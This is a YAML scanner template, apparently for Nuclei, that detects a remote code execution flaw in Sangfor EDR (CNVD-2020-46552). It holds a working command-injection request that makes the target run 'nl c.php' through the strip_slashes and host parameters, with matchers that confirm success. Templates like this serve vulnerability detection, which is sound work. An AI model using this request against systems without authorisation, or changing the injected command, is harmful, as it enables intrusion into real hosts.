33 lines
1.1 KiB
YAML
33 lines
1.1 KiB
YAML
|
id: CNVD-2020-46552
|
||
|
|
||
|
|
info:
|
||
|
|
name: Sangfor EDR - Remote Code Execution
|
||
|
|
author: ritikchaddha
|
||
|
|
severity: critical
|
||
|
|
description: Sangfor Endpoint Monitoring and Response Platform (EDR) contains a remote code execution vulnerability. An attacker could exploit this vulnerability by constructing an HTTP request which could execute arbitrary commands on the target host.
|
||
|
|
reference:
|
||
|
|
- https://www.modb.pro/db/144475
|
||
|
|
- https://blog.csdn.net/bigblue00/article/details/108434009
|
||
|
|
- https://cn-sec.com/archives/721509.html
|
||
|
|
classification:
|
||
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
||
|
|
cvss-score: 10.0
|
||
|
|
cwe-id: CWE-77
|
||
|
|
tags: cnvd,cnvd2020,sangfor,rce
|
||
|
|
|
||
|
http:
|
||
|
|
- method: GET
|
||
|
|
path:
|
||
|
|
- "{{BaseURL}}/tool/log/c.php?strip_slashes=printf&host=nl+c.php"
|
||
|
|
|
||
|
|
matchers:
|
||
|
|
- type: dsl
|
||
|
|
dsl:
|
||
|
|
- 'contains(body, "$show_input = function($info)")'
|
||
|
|
- 'contains(body, "$strip_slashes($host)")'
|
||
|
|
- 'contains(body, "Log Helper")'
|
||
|
|
- 'status_code == 200'
|
||
|
|
condition: and
|
||
|
|
|
||
|
|
# Enhanced by mp on 2022/05/18
|